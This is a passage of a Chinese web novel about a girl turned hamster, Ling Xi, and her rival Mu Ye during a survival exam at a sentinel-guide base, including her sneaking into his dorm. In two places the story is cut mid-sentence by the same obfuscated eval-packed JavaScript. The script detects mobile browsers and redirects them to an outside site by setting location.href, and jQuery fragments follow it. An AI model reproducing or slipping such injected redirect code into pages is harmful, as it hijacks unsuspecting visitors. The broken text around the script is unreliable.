慕野想笑不敢笑，聆汐不满地瞪了他一眼，又想故技重施地抱住他的手指嗷呜一口。 这一次，慕野预判了聆汐的预判，没给她得逞的机会。 倒不是他怕疼，而是怕她用力过猛磕断门牙……到时候她估计会更生气。 不用到时候，没咬到人的聆汐现在就已经开始生气了。 聆大小姐很生气，后果很严重，于是—— 慕野冷眼旁观着炸毛的小鼠在那儿上蹿下跳、呼哧呼哧地把架子上刚整理摆放好的食物一点一点全推到地上。 慕野无奈地捏了捏眉心：“你什么意思？挑食？” 聆汐白了他一眼，站在散落一地的食物堆上，双爪抱胸、趾高气昂地抬着小脑袋，吱吱吱：“不、吃、嗟、来、之、食！” 【大小姐说，她不吃嗟来之食！】 【这句话的意思是，大小姐就算饿死自己，也不吃你‘施舍’给她的食物。】 【嗯，简单来说，她讨厌你，看不上你，嘻嘻！】 安装了“语言美化”功能的吱语翻译官棺棺不在，看热闹不嫌事大的狮虎兽趁机冒泡，它在慕野的脑海中说话，语气里满是幸灾乐祸。 狮虎兽：【我可没有自己发挥，大小姐想表达的就是这个意思。】 【嘻嘻，这年头，升米恩斗米仇，舔狗舔到最后，容易一无所有呢~】 【你就应该听我的，狠下心来，不要管她，让她自生自灭一段时间，等大小姐体验够了‘末世’战场的残酷，自然而然就会主动来找你了~】 慕野没理会狮虎兽，而是蹙眉看着底下不知道在忙活什么的聆汐，不赞同地对她道：“不要任性！” 聆汐撅着小鼠PP在地上的食物堆里翻找了许久，总算看到了一小袋看起来她完全能搬动的压缩饼干，自以为很有气势地把饼干举起来、想往慕野的方向用力一扔，以此来表明自己不受他施舍的决心，可惜—— 她高估了自己现在的实力，用尽全力把那袋饼干举起来没一会儿，啪叽一声，她又双叒成了一摊鼠饼、差点喜提被一袋压缩饼干压死的悲惨成就。 聆汐艰难地从那袋压缩饼干下爬出来，晕乎乎地摇了摇小脑袋，肚子朝天瘫坐在地。 她不自觉地动了动小耳朵，听到慕野又在那儿叽叽喳喳地冲她输出噪音污染： “……第一阶段考核的主题是‘生存’，如果你想要在实战中获得一个比较能看的分数，至少得熬到第三阶段。” “你这个仓鼠拟态还不知道要持续多久，棺棺的能量也是用一点少一点。” “基地防御罩失灵，那些被投放进来的异种很快就会大肆入侵基地，今天白天开始就已经有不少异种翻过电网、爬进了宿舍区，晚上说不定就会有异种直接闯进宿舍楼……” 聆汐快烦死慕野了，小小的一团顺着桌边梯蹿到书桌上，目标明确地在一堆零食里找到奶油瓜子，张嘴咬破外包装，倒出一堆瓜子后，她直接抱起一粒使劲往慕野身上丢。 砸了二十几个瓜子，总算有一个成功碰到了慕野的裤子。 慕野眼角抽了抽，可有些话，该说的他还是要说： “你小队成员都跑光了，就算你身边有棺棺，棺棺也不可能每时每刻每秒都开着防御系统保护你吧？” “你之前领到的食物应该都吃完了，你不接受我给你的物资，是准备饿死自己？” “还是你觉得自己可以拟态成什么吸血鬼，不吃不喝躲进棺材里，直接躺平熬到第一阶段结束？” 说说说！就他能言善道，就他会一个劲地叭叭是吧？ 聆汐不想理他，拿小手捂住耳朵，背过身，故意用屁股对着他。 不听不听，阿巴阿巴阿巴巴！ 【嘻嘻，大小姐不领你的情，想请你吃臭桃子~】狮虎兽不遗余力地继续同步翻译。 慕野依然不给狮虎兽半点回应，这次还直接把那家伙重新压回深层意识海。 慕野又耐着性子劝了聆汐几句，可聆大小姐不动如山、油盐不进，甚至都懒得吱吱吱与他对骂，摆明了拒绝与他沟通。 见状，慕野不免有些烦躁，毕竟他了解聆汐，知道她这样的态度代表她是真不高兴、真不想搭理他。 怕自己再啰嗦下去真把人惹毛，无奈之下，慕野只能摸摸鼻子，憋着一口气，把余下还未交代完的话全倒给机器人棺棺听。 - 慕野小队宿舍。 “脸色这么差？”刚和熊老三整理完物资的明绪，一抬头就看到了推门进来的慕野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167037|196766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，挑了挑眉：“又被那位聆队长怼回来了？” 慕野没吭声，大马金刀地往椅子上一坐，脸色阴沉得仿佛能滴出水。 听到动静的熊老三赶紧从上铺的床上坐起来，和底下的明绪交换了一个眼神，试探着开口： “队长，你问过那位聆队长的意思么？她愿不愿意加入我们小队？她队友都离开了，现在宿舍里就剩她一个，万一夜里遇到异种袭击，她一个女孩子……多危险啊！” 聆汐虽然有点大小姐脾气，但她长得漂亮，说话声音自带甜味，就算是瞪眼发脾气，也像是猫儿在撒娇。 而且，熊老三刚来基地的第一天，因不习惯这里昼夜温差两极分化的极端气候而不慎感冒发烧，是这位大小姐及时出现，拿了一堆在“末世”里，可以说是非常珍贵的药品药剂给他们。 当时他们小队是第二抵达东面基地的，并没有资格领取物资，而除了他和明绪外，小队里的其他三人均有贵族出身，自然对慕野这个“遗民”队长很是不服。 分组结果刚出来，他们这个小队几乎是一碰面就起了冲突，碍于队长这个职位是由主系统分配，那三人就算再不服也无力改变什么。 只是在得知他们小队是第二抵达基地后，那三位贵族出身的小队成员当场就借机发挥，对慕野这个队长一阵冷嘲热讽——虽然最后被慕野用武力碾压、直接打脸，可他们小队也自此一分为二。 熊老三和明绪都是平民，且精神力等级都是C级，他们对那些软趴趴的贵族哨兵没有任何好感，权衡利弊后，他们自然要跟着实力强悍的队长慕野走。 三人搬进宿舍的当晚，熊老三忽然就发起了高烧。 次日一早，就在慕野和明绪研究着地图，商讨着附近哪里有治疗舱或药品药剂的时候，住他们对门的那位聆大小姐突然敲响了他们的宿舍门。 “慕野，听说你们小队是第二抵达基地的？啧，手下败将。” “第一天就失去了三名队员，慕野，你这个队长当得也太窝囊了！” 和慕野同样来自D09星的聆大小姐毫不掩饰自己对慕野的“恶意”，一找到机会，就要上门对他冷嘲热讽。 明绪他们原以为她是真的讨厌慕野，结果，大小姐过完嘴瘾，转身离开时却留下了一大包物资—— 里面有吃的、喝的、用的，还有当时的熊老三最需要的退烧药。 “看在你和我是‘同乡’的份上，这些我们小队挑剩下的残次品就留给你了。” “毕竟，你是第二名，第二名捡第一名挑剩下的物资，天经地义！” 慕野眸光微闪，冷漠道：“你拿走，我们不需要。” 闻言，大小姐立刻就急了，横眉竖目： “我送出去的东西可没有收回的道理，你要用不上，就直接扔掉好了，哼！” 女孩双手交叉环在胸前，抬着下巴看慕野的眼神也十分趾高气扬，可当时在场的熊老三和明绪都是比她等级高两级的哨兵，自然能从她的情绪波动中，分辨出她对他们到底是好意还是恶意。 幸灾乐祸有，落井下石也有，但……她对他们的一丝丝关心和对慕野的两点点担忧，也是真的。 慕野应该也是了解她的别扭脾气，表面上虽然面无表情地继续反驳了她两句、还故意和人争锋相对，把人气到差点跳脚，可等人离开后，慕野看向那堆物资的眼神，却带着难以掩饰的温暖笑意。 低气压了两天的宿舍，也在那天过后，阴转多云。 也因此，对于慕野刚刚拎着物资去隔壁的举动，明绪和熊老三不但不反对，反而是持极力支持的态度。 5. 第005章 加入他们小队？ 慕野面无表情地抬了抬眼皮，迎上熊老三满含期待的目光，嘴角无意识地抽了抽，像是在反问： 你疯了还是我幻听了？ 聆大小姐连他主动送去的物资都不要，还指望她愿意以队员的身份并入他们小队、听从他这个死对头队长的指挥？ 说实话，和聆汐认识那么多年，慕野做梦都没敢那么乱梦过。 虽然慕野什么都没说，可他此刻的表情，又好像什么都说了。 “噗嗤！”明绪一时没忍住，不小心笑出声，见慕野皱眉向他看来，他赶紧假咳一声，随手抓过换洗衣物，飞快道了一句：“我去冲个澡！”便起身冲进了浴室。 后知后觉地想起那位聆队长的脾气，熊老三这时也反应过来自己刚刚是问了个蠢问题，讪讪地挠了挠脸颊，他赶紧转移话题，语气生硬道： “下周开始，就要进入第二阶段了吧……” - 成功把慕野冷暴力走后，憋了一肚子气的聆汐立刻吱吱吱地指挥小机器人棺棺把那狗东西带来的所有物资原封不动地重新打包—— 连一片菜叶子都没留下，一股脑地全部打包扔回慕野小队所在的宿舍门口。 隔了薄薄的一扇门，慕野正在和熊老三细细说明第二阶段实战考试要注意的各项规则，感知到门外传来的动静，他话音顿了顿，本就阴沉沉的脸色这下彻底漆黑如墨。 熊老三也听到了那点细微的声响，察觉到慕野情绪不太对，他强压下好奇，没敢第一时间跑去探究竟。 短暂的沉默过后，黑着脸的慕野暂时不去理会宿舍门外的鼠鼠祟祟，佯装无事发生般，继续刚刚未完的话题： “第二阶段的考核主题是‘合作’，开始要求哨兵和向导互相配合……” - 明绪洗完澡出来的时候，很快就闻到了一股浓郁的味道。 是慕野在用他的火系异能煮泡面，满满的一大锅，也不知道他到底丢了多少调味包进去，那溢出来的香气霸道又刺鼻，让嗅觉被强化过的明绪不自觉地打了一个喷嚏。 “怎么今晚有心情煮泡面了？不怕把异种勾来？”明绪揉了揉鼻子，待适应过来后，忍不住好奇地问。 许多异种都是靠嗅觉传递信息、四处觅食，自基地防御罩失灵后，为了避免不必要的麻烦，他们一日三餐基本都是靠无色无味的营养液解决，基本上是不会在宿舍内开火做饭的。 基地外虽然围着一圈高高的电网，最近两天也陆续通上了电、勉强能恢复正常使用，但到底也不能让人百分百放心。 毕竟对于某些已经完成几轮进化的高阶异种来说，那圈电网能对它们造成的伤害很有限，最多是挠痒痒程度。 慕野上午开车带他们出去杀异种的时候，还提醒过他和熊老三夜里不要睡太死、随时保持警惕、尽量不要发出大动静、弄出强烈气味把远在外围的高阶异种引到东面基地来…… 结果，他现在在做什么？ “今晚轮到老三去东侧哨塔守夜，让他吃点好的，夜里巡逻杀异种也有力气。”慕野一边说一边又往锅里丢了几根火腿肠：“放心，我刚用精神力感知过了，附近暂时没有高阶异种的能量波动，一顿饭的时间……问题不大。” 就算真有异种闻着味过来，他也有自信第一时间察觉、第一时间击杀，不会让那些异种真的闯到宿舍楼来。 熊老三捧着大碗、小媳妇似地坐在慕野身旁的小板凳上嗷嗷待哺，他眼睛直勾勾地盯着锅里红彤彤、黄橙橙的豪华版泡面，不停地咽着口水。 注意力都在那锅泡面上的魁梧男人根本就没听清明绪在说什么，只是本能地点头如蒜捣，一味附和自家有能力给他煮热乎乎泡面吃的贤惠队长：“是是是，对对对，慕哥说得对，要相信慕哥，问题不大……” 会用火系异能给他煮面吃的慕哥就是他的神！他熊老三愿意无条件追随他！ 呜呜呜……久违的泡面味道真是太香了！吸溜吸溜~ 咕噜~ 同样被挑起食欲的明绪摸了摸自己的肚子，也不再继续好奇慕野今天的反常，赶紧找出一副新碗筷，迅速拖来另一张塑料小椅子，默默地在慕野的另一侧乖巧坐好，静等开餐。 - 什么味道？怎么这么香？ 唔……泡面的味道？！ 原本窝在柔软又大得有些离谱的枕头上看金发美男向导跳舞的聆汐情不自禁地动了动粉嫩的小鼻子。 下一秒—— 咕嘟…… 她本能地咽了咽口水，忽然觉得自己好饿好饿。 自从白天把偷藏的最后一包薯片吃完后，聆汐除了喝过几口棺棺煮的白开水外，再没吃过其他东西。 她原本是打算等夜黑风高、万籁俱寂、整栋宿舍楼里的人都睡着了后，就带棺棺去隔壁门口打个洞—— 以自己成功释放的拟态系异能、凭真实实力变幻的仓鼠模样，亲自打洞钻进慕野他们宿舍偷、不，是“光明正大”地抢点瓜子啊、薯片啊、压缩饼干之类的小零食吃。 毕竟，聆大小姐很有原则，绝对不碰嗟来之食—— 她要吃什么、喝什么、看上什么，都会靠自己的实力……直接抢！ 要知道，聆汐的姥姥、姥爷早年是星盗出身，两人未改名前的名字至今还在中心白塔通缉榜前五的位置牢牢挂着。 当年两位老人家“金盆洗手”、选择定居（其实是重伤流落）D09星后，便带着一舰小弟们改名换姓地混进了基地内城，在那儿经营起了一家不起眼的古玩铺，打着某帝国贵族远远……远房亲戚的身份低调蛰伏了很长一段时间。 那时候，D09基地还没被放弃，没有异能的普通人都算普通公民，只被允许在外城生活，必须遵守帝国律法； 而成功分化为哨兵、向导的异能者们则需要前往中心白塔注册登记、领取新的身份证明才能享受各项福利特权，此后便由“塔”统一管理。 聆汐的母亲聆珑是在18岁那年觉醒为黑暗哨兵，进“塔”没多久，她便报名参加了九大军校联考 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聆珑享少将军衔、又是中心白塔最年轻的首席哨兵，在偏远的D09星算是非常位高权重，就连当时的基地长都要看她脸色行事，整个聆家也因聆珑的存在风头无两，说一声D09星的土皇帝都不为过。 后来，污染再次大爆发，提前接到白塔加密通讯的聆珑原本是有机会带着聆家早早撤离D09星的，可她并没有那么做，反而把白塔派来接她撤离的唯一一艘穿梭舰让给了那些没有自保能力的老弱妇孺…… 为了让更多的人有机会继续活下去，被放弃的D09基地再不需要有二心的人。 在众望所归下，聆珑二话不说地接过了D09星这个摊子—— 在面对要钱没钱、要物没物、要人才也没人才的穷困窘境时，她当机立断地女承母业，带着几乎大半个D09星悄咪咪地重操星盗祖业、偷偷摸摸地领着副官部下以及新收的小弟小妹们用假名、假身份混迹穿梭于各大星系，有目标地四处劫掠那些贵族灰产所得…… 可以说，如今在D09星幸存下来的那些老一辈原住民们，几乎都跟着聆基地长干过星盗、抢过贵族，在某种程度上，也能称得上是“全民皆盗”了。 在这种环境下出生、成长起来的聆汐，自然有属于自己的坚持，她不愿给自家丢脸，更不可能舍弃“星盗世家”的傲骨： 免费的东西不靠谱，靠自己实力得（抢）来的，才能用安心、吃放心、玩开心。 作为“混沌”星盗团的唯一继承人，她未来可是要成为一脚踏碎整个中央星系的、巨龙般的、大女人！ 巨龙般的大女人怎么能被区区一碗泡面所诱惑……吸溜~ “小姨，我扫描过了，慕野他们还没把那袋物资拿进宿舍……” 暂时结束投屏的棺棺，亦步亦趋地尾随着聆汐来到大门边。 棺材盖上的蝙蝠眼在问号和星星眼之间来回切换，小机器人“望”着贴在门板上、整只鼠都快与门板融为一体的自家小姨，很贴心地给出了一个执行难度连F都达不到的超可行建议： “……趁着他们还没发现，我们可以直接从门口的那袋包裹里先‘抢’一些吃的回来？” 6. 第006章 聆汐思考了片刻，摇摇头，倔强地拒绝了棺棺的提议。 甚至，她还没事找事地主动给自己上了强度： 借用阳台、跳上对面宿舍的空调外机、利用自己如今的鼠型优势，挤啊挤啊，硬是把自己成功塞进了对面空调管道的缝隙内。 为了方便接应仓鼠小姨，小机器人棺棺变幻成了等人高的大棺材，绞着机械手指留守自家阳台，“看”着灵活的小胖团子在那儿上蹿下跳，棺棺盖子上的蝙蝠脸表情包也不忘同步变幻—— 仓鼠小姨差点从空调外机掉下去的时候，小蝙蝠皱眉表情包：“小姨小心！” 下一秒，见小姨稳住了身体、找到了入口，蝙蝠打气表情包：“小姨加油！” 确认仓鼠小姨顺利钻进穿墙口缝隙后，秒换蝙蝠鼓掌表情包：“小姨真棒！” 主打一个时时监测、默默守护、无脑鼓励，给足了情绪价值。 一般一般，基操基操，洒洒水的程度，不要大惊小怪！ 利用仓鼠拟态下的土系异能把穿墙口的这点小缝隙挖大了几圈，聆汐抖了抖满身的灰尘，重新回到洞口处，得意又矜持地冲还在对面阳台的棺棺挥挥爪子，示意自己这边一切顺利后，按照原定计划，转身继续“深入敌营”。 聆汐体内植入了芯片，与小机器人棺棺建立着神经链接，在一定距离内，她可以直接通过意念控制棺棺，而棺棺也能通过芯片时刻监测聆汐的生命体征，一旦聆汐遇到危险，它会立刻触发防御系统，直接瞬移到她身边。 除了防御罩功能外，棺棺的系统里还有屏蔽和干扰两种特殊模式。 开启屏蔽模式的棺棺，会给聆汐“披”上一圈无形磁场，降低她的存在感，帮助她避开哨兵、向导以及异种畸变物的精神力感知，便于她更完美地隐藏自己。 当然，一力降十会，棺棺到底只是人造的小机器人，出厂配置的这些黑科技欺负欺负低等级的哨向还算游刃有余，但在绝对的实力面前，特别是面对A级以上的异能者时，那肯定是不够用的。 聆汐和慕野报名考试前，曾在同一天接受过最新的哨兵等级评定，评估结果她是F级，慕野是D级—— F级是聆汐的极限，D级则是因为评定慕野等级的那台机器，被人为设置了最高上限为D级。 也因此，直到此时此刻，聆汐都对慕野的真正实力一无所知，自信有外甥女呐呐出品的机器人棺棺在手，足以填补她与慕野之间那微不足道的精神力等级差距…… 宿舍内。 正有些食不知味的慕野忽然动了动耳朵，拿着筷子的手，几不可查地顿了顿。 同样若有所觉的明绪咽下嘴里的面条，瞥了眼阳台的方向，不确定地开口道：“你们有听到什么声音么？” “唔……森莫？”专心嗦面的熊老三声音含糊。 慕野垂眸，继续慢条斯理地扒拉碗里的面条，淡淡道：“刚吹过一阵风，是树叶的沙沙声吧？” 话虽然是疑问句，可他语气笃定，神态自然，很有说服力。 出于对队长感知力的信任，明绪也不再关注阳台那边，把注意力重新放回面前热气腾腾的泡面上。 熊老三的精神力等级是三人中最低，见慕野和明绪都没下一步动作，他很快打消了起身去阳台探究竟的念头。 吸溜~ 这泡面也不知道是哪家新研发的产品，怎么感觉比他以前吃过的那些要美味很多？ 不管了！赶紧多吃几口！吸溜吸溜~ 咕噜…… 成功在壁式空调后潜伏起来的聆汐抽抽粉嫩的小鼻子，闻着从底下飘来的、比刚才在自家宿舍闻起来还要强烈几倍的泡面香味后，发现自己更饿了。 她卡在空调机与墙壁之间，像只小壁虎一样，很小心地往角落里又挪了挪，结果仓鼠的小爪子不给力，一不留神就让聆汐像坐滑梯似的，从空调缝隙里一路滑了下去。 基地的六人宿舍，都是上铺下桌的布局。 好消息是，慕野他们没弄床帐，聆汐幸运地掉到了某个人的单人床上。 坏消息是，这人在床头放了个颈枕，又硬又厚，她啪叽一声磕到了脑门，头晕晕的，半天爬不起来。 该死的慕野！每次靠近他都没好事！ 聆汐四仰八叉地瘫在颈枕中间，闻着愈发浓郁的泡面香，认出那是她最爱的红烧牛肉口味，无意识地舔了舔鼻子。 咕噜咕噜…… 折腾了这么久，她现在又累又饿，偏偏，闻得到吃不到，真是……想想就好气！ 慕野这狗男人是不是故意的？！ 明知道她变成仓鼠、嗅觉比平时更敏锐，还非得挑这个时候煮泡面！ 一煮还煮一大锅，煮的还是她最喜欢的红烧牛肉味！ 她刚刚看到了，那满满一大锅，起码是放了十包泡面的量，那香味恐怕早就飘满整栋宿舍楼了，吸溜~ 底下，明绪又捕捉到了一丝异样，还没来得及细细感知，就听身旁的慕野忽然开口问他们： “第二阶段的哨向合作，你们有什么想法吗？” 明绪的注意力瞬间被转移：“我记得之前在星舰上，有好几个向导小队向你表达过组队意向……” “末世”考场，第一阶段的考核主题是“生存”，这个阶段哨兵和向导都是分开组队，有各自的专属活动区。 如果以基地哨塔为中心，哨兵的活动区域（包含宿舍区在内）都在哨塔南面，向导的活动区则被安排在北边，两边宿舍区分别占据着整个基地的头尾位置、相隔甚远。 抵达基地后，哨兵、向导们心照不宣地默认以哨塔为界，在第一阶段互不干扰、泾渭分明、各自发育。 不过从第二阶段开始，则需要哨兵、向导互相合作，重新组队—— 在这个阶段，主系统将不再强制配队，而是由考生们自行选择队友。 第二阶段的自由组队规则：每队人数最少2人、最多不超过10人，且必须保证队伍中有哨有向。 考生们需要在第一阶段结束后的两天内完成新队伍的重组登记，超时没有加入新队伍的考生则会被判定为弃考，直接淘汰出局。 理论上，考生们的精神力等级是不对外的，但有些五感敏锐、感知力强或者是有特殊类异能的哨向，还是能通过某些方式，大概确定别人的精神力等级。 其中最简单粗暴的一种，就是查看对方觉醒的精神体属于哪类物种。 每个考生在踏上实战考场前，都有领到一个最基础的光脑手环。 这个基础光脑虽然被屏蔽了星网，但却可以连上荒星内网，是专用于实战考的联络通讯工具。 考生们通过光脑内置的雷达扫描功能，能探测到附近百米内是否有其他考生存在，点击那些考生的对应头像就能看到对方的准考证信息。 准考证上有该考生的姓名、出身地、登记的精神体等基础资料。 慕野的狮虎兽精神体，在普通难度的“末世”考场上，绝对是站在食物链顶端的存在。 虽然慕野长了一张娃娃脸，又有一头漂亮的粉发，可他身材高大，眼神凌厉，面无表情时外溢的气场十分强大，给人的第一印象就是不好惹。 之前在星舰上，向导那边就有不少人主动向他递出过橄榄枝，明里暗里地向他表达过合作意愿。 至于聆汐…… 她在报名考试的时候，无法放出自己的精神体虎鲸，但她又有“烈士遗孤”、“一等功家族”的加分光环，于是，她便走了特批通道，带着防御型机器人棺棺进到实战考场。 她准考证上的精神体那栏，主系统给她录入的自然不可能是虎鲸，而是棺棺的信息： 棺材，器物类防御型精神体。 正常哨向觉醒的精神体都是动植物类，像棺材这类器物型精神体，通常都被认定为废精神体。 也因此，聆汐直到现在都没和哪位向导考生交换过通讯方式—— 别人不主动，她也不在意，该吃吃该喝喝，完全没想过自己可能是被嫌弃了。 如今听到明绪他们聊起第二阶段哨向组队的事，后知后觉的聆汐不免有些茫然： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167039|196766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊？什么？第二阶段原来是要和向导一起组队打怪的吗？ “向导的优势在于‘精神力’，他们的主要作战方式，是通过调整哨兵的五感来指挥哨兵战斗……” 慕野放下还剩一半的面，缓缓道： “在大部分向导眼里，哨兵其实是一件可操控的人形兵器，双方一旦成功建立了精神链连接，哨兵的五感便只能由向导掌控。” “一旦向导的精神力不足，那就很容易让正在战斗中的哨兵陷入感官超载的危险境地，星网上曾有匿名人士爆出过一个很有意思的数据，近十年来，因感官过载而不得不自爆晶核来解脱的哨兵人数远高于死在异种战场上的人数……” “如果哨向之间的等级差异过大、精神体之间的匹配度又过低，这种情况下，要再强行建立精神链连接的话，对哨兵、向导来说，都是一场大灾难。” 明绪很赞同慕野的看法：“你说得对，如果哨兵和向导的匹配度过低，精神体不合，别说并肩作战了，不起内讧、不互相精神反噬，就已经是不幸中的万幸了。” 熊老三似懂非懂，在参加考试前，他生活在资源匮乏的边境星，那里绝大部分都是没有精神力的普通人，对于哨向的很多基础知识，他至今都是云里雾里，并不是很了解。 竖着耳朵听慕野、明绪说了半天，熊老三只觉脑袋晕乎乎的，依然有听没有懂。 见慕野询问地向他看过来，熊老三不好意思地挠了挠自己的脸颊，憨憨地道： “我没接触过向导……反正不管怎么样，我熊老三就跟着慕哥你了，慕哥和谁组队就和谁组队，我都没意见！” 闻言，明绪也赶紧表忠心：“我和老三的意见一致，毕竟我和他都不太熟悉向导这个群体，真要让我们选组队向导，我们也不知道要怎么选，何况，要是没有慕哥你带我们，恐怕我们连第一阶段都熬不过……” “第二阶段组队的事，慕哥你看着来就好，我们相信你。” 熊老三：“是的是的……” 聆汐听着听着，忍不住打了个呵欠，感觉自己快睡着了。 不知过了多久，聆汐忽然动了动耳朵，紧接着，就听到底下传来开门、关门的声音。 是熊老三出门去了。 明绪和慕野也吃得差不多，一个去厨房洗碗，一个准备去浴室冲澡。 空气里的泡面味在明绪风系异能的加持下，散了一大半。 整个宿舍，仿佛瞬间安静了不少。 聆汐抬着鼻子东嗅嗅、西嗅嗅，没闻到什么气味，以为四下无人，赶紧抓住机会从颈枕内爬了上来。 吭哧吭哧，她扭动着圆滚滚的小身子，总算爬到了颈枕上。 还没来得及喘口气，她忽然动了动耳朵，听到底下传来细微的动静，她循声爬到床脚处，找了个缝隙鼠鼠祟祟地趴好，睁着圆溜溜的眼睛，贼头贼脑地往下看去—— 背对着聆汐的慕野大大方方地半裸着，微微弓起身，站在敞开的衣柜前，正慢吞吞地翻找着换洗衣服。 介于青涩与成熟之间的高大青年有一身光滑白皙的皮肤，背部肌肉线条流畅、精壮结实，兼具美感与力量感。 他在衣柜里翻找了半天还是一无所获，从聆汐的角度，能看到他稍稍发力的两条手臂似有青筋暴起，侧身时，那惊鸿一瞥的腹肌，壁垒分明、形状完美。 被抽走皮带的黑裤此刻已松松垮垮地滑落到青年的胯部，漂亮的人鱼线半露不露，紧身的布料包裹着他笔直修长的腿，衬得他腰窄臀翘，涩气满满。 这、这是慕野？ 印象中，他瘦得像搓衣板，有段时间手腕和腰围比她这个女孩子还细，和她掰手腕就没赢过一次…… 不就一年时间没见他脱衣露胳膊，怎么忽然就把身材练得这么好了？ 有胸有腹还有马甲线，甚至他的肱二头肌还那么鼓！ 聆汐忮忌得眼又红了，不敢置信地拿爪爪揉了揉眼睛。 不可能不可能！三脚猫怎么爆改成大猛虎了？ 不确定，她要再仔细看看…… 7. 第007章 “还满意你看到的么？” 慕野把毛巾随意地往肩上一搭，稍稍侧过脸，45度角对着聆汐的方向，微微压低的声音，有种故意而为的撩人意味。 聆汐无意识地动了动耳朵，不知道是不是她的错觉，总感觉慕野说这句话时的语调、声线和她最近迷上的爱播向导莱奥斯有点相似…… ……等等！现在可不是关注某人声音的时候！ 这三脚猫知道我在偷看他？他发现我潜伏进来了？什么时候发现的？棺棺的屏蔽模式难道失效了？！ 以为自己被发现的聆汐还来不及做出反应，下一秒—— “嘶~”不知何时从厨房出来的明绪忍不住倒抽了一口气，表情僵硬、眼神惊恐。 红发黑眸、长相秀气的少年望着离他只有几步之遥的慕野，也不知道脑补出了些什么，白皙的脸涨得通红，手足无措地站在那里，似乎被慕野刚刚的那句话吓得不轻。 慕野：…… 聆汐：恍然大悟.jpg 时间静止、尴尬蔓延，就怕周围的空气突然沉默。 慕野难得有感到尴尬的时候，无语地揉了揉额头。 “那、那个……慕哥……我、我不是故意的！”明绪吓得直接背过身，有些语无伦次地道：“我刚洗干净碗、准备休息一下、不知道你居然在换衣服……” 明绪越说越没底，眼神飘忽，脑海里各种念头在疯狂翻涌： 慕哥感知力那么强，不应该是没发现我过来才对！ 所以……他刚刚那句话真的是对我说的？ 他之前几次洗澡，都是进了浴室才脱衣服，怎么今天……？ 难道是因为熊老三不在、宿舍里只有我和他两个人？ 慕哥他、他、他……别是对我…… 明绪回忆着与慕野认识以来的点点滴滴，想到他对他的照顾……越想越心惊胆战，脸红的要滴血，完全不知道该怎么处理这种棘手问题。 慕野低头看了看自己，又感知到明绪起伏强烈的精神力波动，一贯平静的表情难得出现了一丝裂痕。 他沉默地把刚脱下的衣服重新穿回身上，连外套都没放过，还把外套拉链“唰”地一下拉到顶。 “我去冲个澡。”他从衣柜里匆忙抓了几件换洗衣物，语气淡淡地对明绪道，声音平静听不出情绪。 而在聆汐的角度，她能清楚地看到男人的耳根在微微泛红。 见状，聆汐眯了眯眼，这一刻，总算恍然慕野这混蛋为什么从小到大都要和她过不去了！ 原来如此？竟是如此！啧啧啧！ “啊，哦，嗯。”明绪不自在地应了几声，战术性地摸了摸自己的鼻子。 慕野没再说话，步履匆匆地进了浴室，脚步比平时快了几分。 浴室门关上，不久后，里面传来淅沥的水声。 宿舍里，只剩下深受刺激的明绪和躲在床缝里看戏的聆汐。 明绪仍然僵在原地，半晌才像被人解开穴道似的，同手同脚地走回自己的书桌前坐下。 他下意识地从书架上取下一本书，这是他的老习惯了，以往遇到烦心事，他都会通过看书来平复心情。 只是，这一回，他摩挲着散发着淡淡香气的纸张，眸光愣愣，半天没翻一页。 他心神不宁地偷瞟着浴室的方向，脸上表情变幻莫测。 自以为找到慕野弱点的聆汐激动地用爪爪捂住脸，恨不能找个地方仰天大笑几声。 臭慕野，三脚猫，你原来也有今天！ 不知过了多久，聆汐又听到开门关门的声音。 是明绪离开宿舍了。 她小心翼翼地躲在床缝里暗中观察，动动鼻子、嗅嗅气味，确认底下暂时没有人了后，她这才蹑手蹑脚地顺着杆子爬下床。 她可没忘了自己潜入这里的使命，天大地大，当然填饱肚子最大！ 聆汐熟门熟路地溜到书桌上，圆圆的豆豆眼警惕地四下环顾。 明绪不在，慕野还在冲澡，屋里没人，好机会！ 聆汐再次动了动小鼻子，顺着空气里漂浮的味道，找到了一个散发着诱人清香的苹果。 仰头望着面前这个堪称巨大的苹果，聆汐不免陷入了沉思。 就在她犹豫要不要直接张嘴啃一口的时候，一只骨节分明、干净修长的手冷不防地凭空出现。 “我还以为是什么变异异种闯进来了，原来竟是只小仓鼠？” 明绪幽幽的声音自背后传来，把毫无防备的聆汐吓得直接炸毛。 小心脏扑通扑通跳得飞快，缓过神来的聆汐恶狠狠地回头望去。 明绪除了风系异能外，还拥有一个叫“隐身”的特殊异能。 他刚刚是故意制造出自己离开的假象，动用“隐身”异能守在门边，就是想验证下自己的猜测。 原以为，是高等级异种从阳台那儿潜伏了进来，没想到，会是这么一个黑乎乎的小东西。 毛茸茸、胖乎乎，浑身上下也看不见任何精神力波动，所以……这还真是一只小仓鼠？ 明绪不知何时已经来到书桌旁，弯腰平视着还是仓鼠拟态的聆汐，笑容温和、目露好奇。 “抱歉，是不是吓到你了？”明绪尽量放轻自己的声音，从口袋里摸出一小包饼干，体贴地撕开包装，掰下小一块递到聆汐面前：“手工做的小饼干，没有任何添加剂，很香很好吃，要不要试试？” 聆汐警惕地看着他，小鼻子飞速地动了动，闻到饼干的香味，肚子再次不争气地咕噜咕噜叫了起来。 最终，饥饿感战胜了警惕心，想到对方不是慕野、应该不会害她，她也没有从他身上感知到恶意…… 聆汐决定给他这个面子，伸出两只小爪爪抱过他递来的饼干，小口小口地吃了起来。 